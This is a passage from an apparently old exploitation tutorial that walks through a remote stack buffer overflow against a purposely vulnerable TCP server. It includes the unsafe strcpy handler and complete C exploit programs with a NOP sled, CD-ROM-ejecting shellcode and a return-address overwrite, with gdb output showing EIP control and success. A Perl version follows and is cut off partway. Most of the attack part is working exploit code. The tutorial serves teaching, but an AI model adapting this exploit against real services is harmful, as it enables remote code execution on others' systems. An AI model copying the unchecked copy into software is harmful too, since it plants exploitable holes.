perror("accept");&lt;br /&gt;      exit(1);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    //log the connecter&lt;br /&gt;    printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr));&lt;br /&gt;&lt;br /&gt;    //send a greeting&lt;br /&gt;    send(conn,MSG,strlen(MSG)+1,0);&lt;br /&gt;&lt;br /&gt;    //get the reply&lt;br /&gt;    recv(conn, reply, 1024, 0);&lt;br /&gt;&lt;br /&gt;    handle_reply(reply);&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;This piece of code serves as a daemon and waits for people to connect,&lt;br /&gt;on a successfull connection the server replies with a message and&lt;br /&gt;waits for the user to reply back with his message.&lt;br /&gt;The message get's stored in a buffer called 'reply' which can hold&lt;br /&gt;1024 bytes of data.&lt;br /&gt;&lt;br /&gt;the vulnerability lies in the handle_reply() function let's analyze it:&lt;br /&gt;&lt;br /&gt;handle_reply()&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;int handle_reply(char *str)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;char response[256];&lt;br /&gt;&lt;br /&gt;strcpy(response,str);&lt;br /&gt;&lt;br /&gt;printf("The client says \"%s\"\n",response);&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;as you can see it has a response buffer which can hold 256 bytes of data&lt;br /&gt;the reply message from the user gets copied in that buffer and the response&lt;br /&gt;message is viewed at the server.&lt;br /&gt;&lt;br /&gt;like this,&lt;br /&gt;&lt;br /&gt;client:&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;telnet 192.168.1.101 7500&lt;br /&gt;Trying 192.168.1.101...&lt;br /&gt;Connected to 192.168.1.101.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;Hello, how are you?fine thanks how are you?&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;server:&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;got connection from 192.168.1.100&lt;br /&gt;The client says "fine thanks how are you?&lt;br /&gt;"&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;as you can see nothing special happens. But let's try to send a buffer which&lt;br /&gt;is 272 bytes , which exceeds the buffersize of the response buffer in the handle_reply()&lt;br /&gt;function.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1.4]--[ Payload/Code construction/analyses in C&lt;br /&gt;&lt;br /&gt;We want to send a 272 byte buffer to port 7500 of our victim (192.168.1.101)&lt;br /&gt;so let's start by writing a simple piece of c code which can send 272 x A (0x41) to port&lt;br /&gt;7500. Also don't forget to enable coredumps to analyze the overflow,&lt;br /&gt;&lt;br /&gt;Enabling coredumps:&lt;br /&gt;&lt;br /&gt;ulimit -c unlimited&lt;br /&gt;&lt;br /&gt;Our overflow code:&lt;br /&gt;&lt;br /&gt;send_overflow.c&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt;-- Send overflow (C version) written by Preddy&lt;br /&gt;&lt;br /&gt;   Part of Preddy's Remote Exploitation with C and Perl tutorial&lt;br /&gt;&lt;br /&gt;   Usage: ./send_overflow &lt;ip&gt;&lt;br /&gt;&lt;br /&gt;   Example: ./send_overflow 192.168.1.101&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;include headers which are required for a network connection &lt;br /&gt;and other functionalities in the program &lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;define our remote port and the data which we are going to send&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#define REMPORT      7500&lt;br /&gt;#define A            0x41&lt;br /&gt;&lt;br /&gt;//Start with the program&lt;br /&gt;int main(int argc,char **argv)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;/* declare our variables */&lt;br /&gt;int conn; //our connection variable, which will connect to the remote computer&lt;br /&gt;int fd; // our socket file descriptor&lt;br /&gt;&lt;br /&gt;//assign struct sockadd_in to remaddr&lt;br /&gt;struct sockaddr_in remaddr;&lt;br /&gt;&lt;br /&gt;//declare our payload buffer which will hold 272 bytes of data&lt;br /&gt;char payload[272];&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;check if the first commandline argument is given (the ip address)&lt;br /&gt;if NOT print a message and exit&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;if(!argv[1])&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;printf("Specify ip plz..\n");&lt;br /&gt;&lt;br /&gt;exit(1);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;create the socket and also check for errors at creation&lt;br /&gt;if an error is detected socket() will return -1&lt;br /&gt;*/&lt;br /&gt;if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;perror("socket");&lt;br /&gt;&lt;br /&gt;exit(1);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;this is going to overwrite the Extended Instruction Pointer&lt;br /&gt;with 4 x 0x42  (BBBB -&gt; 0x42 is also knows as B in its ascii form - http://www.lookuptables.com/)&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;char *eip = "\x42\x42\x42\x42";&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;fill our payload with 268 bytes of A (previously defined as 0x41)&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;memset(payload,A,268);&lt;br /&gt;&lt;br /&gt;/* fill the part after 268 bytes with our eip (BBBB - 0x42424242) */&lt;br /&gt;&lt;br /&gt;memcpy(payload+268,eip,sizeof(eip));&lt;br /&gt;&lt;br /&gt;/* connection information */&lt;br /&gt;remaddr.sin_family = AF_INET; //domain&lt;br /&gt;remaddr.sin_addr.s_addr = inet_addr(argv[1]); //remote connection address (our first argument - IP)&lt;br /&gt;remaddr.sin_port = htons(REMPORT); //the remote port to connect to (previously defined as 7500)&lt;br /&gt;&lt;br /&gt;/* this is where the actual connection take's place */&lt;br /&gt;&lt;br /&gt;conn = connect(fd, (struct sockaddr_in *)&amp;remaddr,sizeof(remaddr)); &lt;br /&gt;&lt;br /&gt;/* check the connection for errors as you know it returns -1 at errors */&lt;br /&gt;if(conn &lt; 0)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;printf("Error: could not connect\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* this is the part where our payload gets sent */&lt;br /&gt;&lt;br /&gt;send(fd,payload,strlen(payload),0);&lt;br /&gt;&lt;br /&gt;/* this is extra information which is displayed after sending the payload */&lt;br /&gt;&lt;br /&gt;printf("Payload Size: %i\n",sizeof(payload));&lt;br /&gt;printf("Payload Sent..\n");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Now we can start with compiling our program:&lt;br /&gt;&lt;br /&gt;client:&lt;br /&gt;---&lt;br /&gt;gcc send_overflow.c -o send_overflow&lt;br /&gt;&lt;br /&gt;./send_overflow 192.168.1.101&lt;br /&gt;Payload Size: 272&lt;br /&gt;Payload Sent..&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;server:&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;got connection from 192.168.1.100&lt;br /&gt;The client says "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;bash-3.00# gdb -c core ./server&lt;br /&gt;GNU gdb 6.3&lt;br /&gt;Copyright 2004 Free Software Foundation, Inc.&lt;br /&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt;Type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB.  Type "show warranty" for details.&lt;br /&gt;This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".&lt;br /&gt;&lt;br /&gt;Core was generated by `./server'.&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;&lt;br /&gt;warning: current_sos: Can't read pathname for load map: Input/output error&lt;br /&gt;&lt;br /&gt;Reading symbols from /lib/tls/libc.so.6...done.&lt;br /&gt;Loaded symbols for /lib/tls/libc.so.6&lt;br /&gt;Reading symbols from /lib/ld-linux.so.2...done.&lt;br /&gt;Loaded symbols for /lib/ld-linux.so.2&lt;br /&gt;#0  0x42424242 in ?? ()&lt;br /&gt;(gdb) i r eip&lt;br /&gt;eip            0x42424242       0x42424242&lt;br /&gt;(gdb) &lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;as you see we have overwritten the extended intruction pointer with our own&lt;br /&gt;eip which we constructed before in our payload (char *eip = "\x42\x42\x42\x42";)&lt;br /&gt;and its overwritten with exacly BBBB&lt;br /&gt;&lt;br /&gt;so now we have to place our shellcode in our payload and also our nopsled.&lt;br /&gt;and finish a huge part of the exploit.&lt;br /&gt;&lt;br /&gt;server_exploit.c&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt;-- Remote "eject cd-rom" exploit (C version) written by Preddy&lt;br /&gt;&lt;br /&gt;   Part of Preddy's Remote Exploitation with C and Perl tutorial&lt;br /&gt;&lt;br /&gt;   Usage: ./server_exploit &lt;ip&gt;&lt;br /&gt;&lt;br /&gt;   Example: ./server_exploit 192.168.1.101&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;include headers which are required for a network connection &lt;br /&gt;and other functionalities in the program &lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;define our remote port and the data which we are going to send&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#define REMPORT      7500&lt;br /&gt;#define NOP          0x90&lt;br /&gt;#define A            0x41&lt;br /&gt;&lt;br /&gt;//Start with the program&lt;br /&gt;&lt;br /&gt;int main(int argc,char **argv)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;//Our shellcode which ejects the cd-rom drive..&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * (linux/x86) eject cd-rom (follows "/dev/cdrom" symlink) + exit() - 40 bytes&lt;br /&gt; * - izik &lt;izik @tty64.org&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;char scode[] = &lt;br /&gt;&lt;br /&gt; "\x6a\x05"              // push $0x5 &lt;br /&gt; "\x58"                  // pop %eax &lt;br /&gt; "\x31\xc9"              // xor %ecx,%ecx &lt;br /&gt; "\x51"                  // push %ecx &lt;br /&gt; "\xb5\x08"              // mov $0x8,%ch &lt;br /&gt; "\x68\x64\x72\x6f\x6d"  // push $0x6d6f7264 &lt;br /&gt; "\x68\x65\x76\x2f\x63"  // push $0x632f7665 &lt;br /&gt; "\x68\x2f\x2f\x2f\x64"  // push $0x642f2f2f &lt;br /&gt; "\x89\xe3"              // mov %esp,%ebx &lt;br /&gt; "\xcd\x80"              // int $0x80 &lt;br /&gt; "\x89\xc3"              // mov %eax,%ebx &lt;br /&gt; "\xb0\x36"              // mov $0x36,%al &lt;br /&gt; "\x66\xb9\x09\x53"      // mov $0x5309,%cx&lt;br /&gt; "\xcd\x80"              // int $0x80 &lt;br /&gt; "\x40"                  // inc %eax &lt;br /&gt; "\xcd\x80";             // int $0x80 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* declare our variables */&lt;br /&gt;int conn; //our connection variable, which will connect to the remote computer&lt;br /&gt;int fd; // our socket file descriptor&lt;br /&gt;&lt;br /&gt;//assign struct sockadd_in to remaddr&lt;br /&gt;struct sockaddr_in remaddr;&lt;br /&gt;&lt;br /&gt;//declare our payload buffer which will hold 272 bytes of data&lt;br /&gt;char payload[272];&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;check if the first commandline argument is given (the ip address)&lt;br /&gt;if NOT print a message and exit&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;if(!argv[1])&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;printf("Specify ip plz..\n");&lt;br /&gt;&lt;br /&gt;exit(1);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;create the socket and also check for errors at creation&lt;br /&gt;if an error is detected socket() will return -1&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;perror("socket");&lt;br /&gt;&lt;br /&gt;exit(1);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;this is going to overwrite the Extended Instruction Pointer&lt;br /&gt;with 4 x 0x42  (BBBB -&gt; 0x42 is also knows as B in its ascii form - http://www.lookuptables.com/)&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;char *eip = "\x42\x42\x42\x42";&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt;Shellcode size: 40 bytes&lt;br /&gt;&lt;br /&gt;272 bytes used to overwrite eip with 0x42424242&lt;br /&gt;&lt;br /&gt;eip = 4 bytes&lt;br /&gt;&lt;br /&gt;272 -4 = 268&lt;br /&gt;268 - 40 = 228&lt;br /&gt;Nopsled = 228 bytes&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;memset(payload,NOP,228); //construct the nopsled&lt;br /&gt;memcpy(payload+228,scode,sizeof(scode)); //place our shellcode after the nopsled&lt;br /&gt;memcpy(payload+268,eip,sizeof(eip)); //place eip after our shellcode&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt;structure:&lt;br /&gt;&lt;br /&gt;[NOPSLED - 228 BYTES] + [SHELLCODE - 40 BYTES] + [EIP - 4 BYTES] = 272 BYTES&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* connection information */&lt;br /&gt;remaddr.sin_family = AF_INET; //domain&lt;br /&gt;remaddr.sin_addr.s_addr = inet_addr(argv[1]); //remote connection address (our first argument - IP)&lt;br /&gt;remaddr.sin_port = htons(REMPORT); //the remote port to connect to (previously defined as 7500)&lt;br /&gt;&lt;br /&gt;/* this is where the actual connection take's place */&lt;br /&gt;&lt;br /&gt;conn = connect(fd, (struct sockaddr_in *)&amp;remaddr,sizeof(remaddr)); &lt;br /&gt;&lt;br /&gt;/* check the connection for errors as you know it returns -1 at errors */&lt;br /&gt;if(conn &lt; 0)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;printf("Error: could not connect\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* this is the part where our payload gets sent */&lt;br /&gt;&lt;br /&gt;send(fd,payload,strlen(payload),0);&lt;br /&gt;&lt;br /&gt;/* this is extra information which is displayed after sending the payload */&lt;br /&gt;&lt;br /&gt;printf("Payload Size: %i\n",sizeof(payload));&lt;br /&gt;printf("Payload Sent..\n");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Let's start compiling our exploit,&lt;br /&gt;&lt;br /&gt;client:&lt;br /&gt;---&lt;br /&gt;gcc server_exploit.c -o server_exploit&lt;br /&gt;&lt;br /&gt;./server_exploit 192.168.1.101&lt;br /&gt;Payload Size: 272&lt;br /&gt;Payload Sent..&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;server:&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;bash-3.00# ./server&lt;br /&gt;got connection from 192.168.1.100&lt;br /&gt;The client says "jX1?Qhdromhev/ch///d??ð6f?   S? @?BBBB"&lt;br /&gt;^[[?1;2cSegmentation fault (core dumped)&lt;br /&gt;bash-3.00# gdb -c core ./server&lt;br /&gt;GNU gdb 6.3&lt;br /&gt;Copyright 2004 Free Software Foundation, Inc.&lt;br /&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt;Type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB.  Type "show warranty" for details.&lt;br /&gt;This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".&lt;br /&gt;&lt;br /&gt;Core was generated by `./server'.&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;&lt;br /&gt;warning: current_sos: Can't read pathname for load map: Input/output error&lt;br /&gt;&lt;br /&gt;Reading symbols from /lib/tls/libc.so.6...done.&lt;br /&gt;Loaded symbols for /lib/tls/libc.so.6&lt;br /&gt;Reading symbols from /lib/ld-linux.so.2...done.&lt;br /&gt;Loaded symbols for /lib/ld-linux.so.2&lt;br /&gt;#0  0x42424242 in ?? ()&lt;br /&gt;(gdb)&lt;br /&gt;(gdb) i r eip&lt;br /&gt;eip            0x42424242       0x42424242&lt;br /&gt;(gdb) x/1000xb $esp&lt;br /&gt;0xbffff2b0:     0x02    0x00    0xff    0xbf    0xc0    0xf2    0xff    0xbf&lt;br /&gt;0xbffff2b8:     0x00    0x04    0x00    0x00    0x00    0x00    0x00    0x00&lt;br /&gt;0xbffff2c0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff2c8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff2d0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff2d8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff2e0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff2e8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff2f0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff2f8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff300:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff308:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff310:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff318:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff320:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff328:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff330:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff338:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff340:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff348:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff350:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff358:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff360:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff368:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff370:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff378:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff380:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;0xbffff388:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;As you can see we have overwritten the extended instruction pointer once again&lt;br /&gt;and you can see our nopsled above in memory&lt;br /&gt;&lt;br /&gt;Let's pick a random address from the nopsled,&lt;br /&gt;&lt;br /&gt;0xbffff2f8&lt;br /&gt;&lt;br /&gt;write it in little-endian format (more info: http://www.answers.com/topic/endianness)&lt;br /&gt;&lt;br /&gt;EIP:&lt;br /&gt;&lt;br /&gt;\xf8\xf2\xff\xbf&lt;br /&gt;&lt;br /&gt;and let's replace the old EIP with the new one in our "server_exploit.c" program&lt;br /&gt;&lt;br /&gt;so:&lt;br /&gt;&lt;br /&gt;char *eip = "\x42\x42\x42\x42";&lt;br /&gt;&lt;br /&gt;becomes&lt;br /&gt;&lt;br /&gt;char *eip = "\xf8\xf2\xff\xbf";&lt;br /&gt;&lt;br /&gt;and let's recompile the program,&lt;br /&gt;&lt;br /&gt;gcc server_exploit.c -o server_exploit&lt;br /&gt;&lt;br /&gt;client:&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;./server_exploit 192.168.1.101&lt;br /&gt;Payload Size: 272&lt;br /&gt;Payload Sent..&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;server:&lt;br /&gt;---&lt;br /&gt;bash-3.00# ./server&lt;br /&gt;got connection from 192.168.1.100&lt;br /&gt;The client says "jX1?Qhdromhev/ch///d??ð6f?   S? @?????"&lt;br /&gt;^[[?1;2cbash-3.00# 1;2c&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;and yes, my cd-rom drive ejected....&lt;br /&gt;&lt;br /&gt;as you can see we have managed to successfully exploit a remote&lt;br /&gt;buffer overflow by using c code. Some people have allot of problems with&lt;br /&gt;c , they find it hard or they are to lazy to learn it :PpPppP&lt;br /&gt;&lt;br /&gt;Perl is allot easier to learn in my opinion and would be confortable for &lt;br /&gt;some people.The next section will use Perl to exploit this vulnerability&lt;br /&gt;and open the cd-rom drive of the computer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1.5]--[ Payload/Code construction/analyses in Perl&lt;br /&gt;&lt;br /&gt;Let's start again by sending a 272 byte buffer to the server in Perl,&lt;br /&gt;&lt;br /&gt;send_overflow.pl&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;####################################################################&lt;br /&gt;#&lt;br /&gt;#-- Send overflow (Perl version) written by Preddy&lt;br /&gt;#&lt;br /&gt;#   Part of Preddy's Remote Exploitation with C and Perl tutorial&lt;br /&gt;#&lt;br /&gt;#   Usage: perl send_overflow.pl &lt;ip&gt;&lt;br /&gt;#&lt;br /&gt;#   Example: perl send_overflow.pl 192.168.1.101&lt;br /&gt;#&lt;br /&gt;####################################################################&lt;br /&gt;&lt;br /&gt;#IO::Socket for network connections&lt;br /&gt;use IO::Socket;&lt;br /&gt;&lt;br /&gt;#the ip address is our first commandline argument also known as ARGV[0] in Perl&lt;br /&gt;$ip = $ARGV[0];&lt;br /&gt;&lt;br /&gt;#our payload which is 272 bytes of A (0x41,x41)&lt;br /&gt;$payload = "\x41"x272;&lt;br /&gt;&lt;br /&gt;#view a message if no ip address is given&lt;br /&gt;if(!$ip)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;die "Specify ip plz..\n";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#the remote port to connect to&lt;br /&gt;$port = '7500';&lt;br /&gt;&lt;br /&gt;#the connection protocol to use&lt;br /&gt;$protocol = 'tcp';&lt;br /&gt;&lt;br /&gt;#create the actual network connection&lt;br /&gt;#and print an error message if it's not possible to create a socket&lt;br /&gt;$socket = IO::Socket::INET-&gt;new(PeerAddr=&gt;$ip,&lt;br /&gt;                                PeerPort=&gt;$port,&lt;br /&gt;                                Proto=&gt;$protocol,&lt;br /&gt;                                Timeout=&gt;'1') || die "Could not create socket\n";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#send the payload to the remote computer&lt;br /&gt;print $socket $payload;&lt;br /&gt;&lt;br /&gt;#close the connection&lt;br /&gt;close($socket);&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Let's start by running the script without any arguments,&lt;br /&gt;&lt;br /&gt;perl send_overflow.pl&lt;br /&gt;Specify ip plz..&lt;br /&gt;&lt;br /&gt;And let's send the payload (272 x A - 0x41)&lt;br /&gt;&lt;br /&gt;client:&lt;br /&gt;---&lt;br /&gt;perl send_overflow.pl 192.168.1.101&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;server:&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;bash-3.00# ./server&lt;br /&gt;got connection from 192.168.1.100&lt;br /&gt;The client says "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;bash-3.00# gdb -c core ./server&lt;br /&gt;GNU gdb 6.3&lt;br /&gt;Copyright 2004 Free Software Foundation, Inc.&lt;br /&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt;Type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB.  Type "show warranty" for details.&lt;br /&gt;This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".&lt;br /&gt;&lt;br /&gt;Core was generated by `./server'.&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;&lt;br /&gt;warning: current_sos: Can't read pathname for load map: Input/output error&lt;br /&gt;&lt;br /&gt;Reading symbols from /lib/tls/libc.so.6...done.&lt;br /&gt;Loaded symbols for /lib/tls/libc.so.6&lt;br /&gt;Reading symbols from /lib/ld-linux.so.2...done.&lt;br /&gt;Loaded symbols for /lib/ld-linux.so.2&lt;br /&gt;#0  0x41414141 in ?? ()&lt;br /&gt;(gdb)&lt;br /&gt;(gdb) i r eip&lt;br /&gt;eip            0x41414141       0x41414141&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;as you can see we have overwritten eip ,&lt;br /&gt;&lt;br /&gt;now let's construct our payload&lt;br /&gt;&lt;br /&gt;[NOPSLED - 228 bytes] + [SHELLCODE - 40 bytes] + [EIP - 4 bytes] = 272 bytes&lt;br /&gt;&lt;br /&gt;we can just use the same payload from the C section&lt;br /&gt;in it's perl form.&lt;br /&gt;&lt;br /&gt;server_exploit.pl&lt;br /&gt;---&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;####################################################################&lt;br /&gt;#&lt;br /&gt;#-- Server Exploit (Perl version) written by Preddy&lt;br /&gt;#&lt;br /&gt;#   Part of Preddy's Remote Exploitation with C and Perl tutorial&lt;br /&gt;#&lt;br /&gt;#   Usage: perl server_exploit.pl &lt;ip&gt;&lt;br /&gt;#&lt;br /&gt;#   Example: perl server_exploit.pl 192.168.1.101&lt;br /&gt;#&lt;br /&gt;####################################################################&lt;br /&gt;&lt;br /&gt;#IO::Socket for network connections&lt;br /&gt;use IO::Socket;&lt;br /&gt;&lt;br /&gt;#the ip address is our first commandline argument also known as ARGV[0] in Perl&lt;br /&gt;$ip = $ARGV[0];&lt;br /&gt;&lt;br /&gt;#our nopsled&lt;br /&gt;$nopsled = "\x90"x228;&lt;br /&gt;&lt;br /&gt;#our shellcode which opens the remote cd-rom drive  - 40 bytes (thanks to izik)&lt;br /&gt;$shellcode =  "\x6a\x05".              # push $0x5 &lt;br /&gt;         "\x58".                  # pop %eax &lt;br /&gt;         "\x31\xc9".              # xor %ecx,%ecx &lt;br /&gt;         "\x51".                  # push %ecx &lt;br /&gt;         "\xb5\x08".              # mov $0x8,%ch &lt;br /&gt;         "\x68\x64\x72\x6f\x6d".  # push $0x6d6f7264 &lt;br /&gt;         "\x68\x65\x76\x2f\x63".  # push $0x632f7665 &lt;br /&gt;         "\x68\x2f\x2f\x2f\x64".  # push $0x642f2f2f &lt;br /&gt;         "\x89\xe3".              # mov %esp,%ebx &lt;br /&gt;         "\xcd\x80".              # 